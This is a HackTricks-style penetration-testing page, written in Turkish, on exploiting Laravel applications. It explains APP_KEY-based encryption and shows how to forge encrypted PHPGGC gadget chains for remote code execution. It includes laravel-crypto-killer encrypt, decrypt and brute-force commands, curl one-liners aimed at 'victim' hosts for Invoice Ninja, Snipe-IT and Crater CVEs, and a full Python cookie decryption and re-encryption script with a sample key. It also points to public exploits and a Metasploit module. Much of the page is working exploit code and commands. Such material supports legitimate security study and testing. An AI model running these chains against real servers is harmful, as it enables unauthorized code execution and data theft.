Laravel

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Laravel SQLInjection

Bu konuda bilgi için burayı okuyun: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6)

Laravel, arka planda HMAC bütünlüğü ile birlikte AES-256-CBC (veya GCM) kullanır (Illuminate\\Encryption\\Encrypter). Sonunda müşteriye gönderilen ham şifreli metin, şu şekilde bir JSON nesnesinin Base64'üdür:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) varsayılan olarak metin düzünü serialize() ederken, decrypt($payload, $unserialize=true) şifrelenmiş değeri otomatik olarak unserialize() edecektir. Bu nedenle 32 baytlık gizli APP_KEY'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (__wakeup, __destruct, …) aracılığıyla RCE elde edebilir.

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Üretilen dizeyi herhangi bir savunmasız decrypt() sink'ine (route param, cookie, session, …) enjekte edin.


laravel-crypto-killer 🧨

laravel-crypto-killer tüm süreci otomatikleştirir ve kullanışlı bir bruteforce modu ekler:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


Gerçek dünya zayıf desenleri

ProjeZayıf noktaGadget zinciri
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN çerezi Passport::withCookieSerialization() etkin olduğundaLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session çereziLaravel/RCE15

Sömürü iş akışı her zaman:

  1. 32 baytlık APP_KEY'i elde et veya brute-force ile bul.
  2. PHPGGC ile bir gadget zinciri oluştur (örneğin Laravel/RCE13, Laravel/RCE9 veya Laravel/RCE15).
  3. Seri hale getirilmiş gadget'ı laravel_crypto_killer.py ve geri kazanılan APP_KEY ile şifrele.
  4. Şifreli metni zayıf decrypt() noktasına (route parametresi, çerez, oturum …) ileterek RCE'yi tetikle.

Aşağıda, yukarıda bahsedilen her gerçek dünya CVE için tam saldırı yolunu gösteren kısa tek satırlık örnekler bulunmaktadır:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Her yeni Laravel yanıtı en az 1 şifreli çerez (XSRF-TOKEN ve genellikle laravel_session) ayarladığı için, kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırıyor ve bunlar çevrimdışı olarak saldırıya uğrayabilir.

Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):

  • Veri seti Temmuz 2024 » 580 k token, %3.99 anahtar kırıldı (≈23 k)
  • Veri seti Mayıs 2025 » 625 k token, %3.56 anahtar kırıldı
  • 1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.

  • Büyük anahtar yeniden kullanımı – En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).

Özel Go aracı nounours, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.

Laravel Hileleri

Hata ayıklama modu

Eğer Laravel hata ayıklama modunda ise, kod ve hassas verilere erişebileceksiniz.
Örneğin http://127.0.0.1:8000/profiles:

Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir.

.env

Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi .env adlı bir dosya içinde saklar ve bu dosyaya /../.env altında bazı yol geçişleri kullanarak erişilebilir.

Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir.

Laravel'in gizli APP_KEY'sini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz:

Çerezi Şifre Çözme

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Hassas sürümler: 5.5.40 ve 5.6.x 5.6.29'a kadar (https://www.cvedetails.com/cve/CVE-2018-15133/)

Burada deserialization zafiyeti hakkında bilgi bulabilirsiniz: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Bunu https://github.com/kozmic/laravel-poc-CVE-2018-15133 kullanarak test edebilir ve istismar edebilirsiniz.
Ya da metasploit ile de istismar edebilirsiniz: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Başka bir deserialization: https://github.com/ambionics/laravel-exploits

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin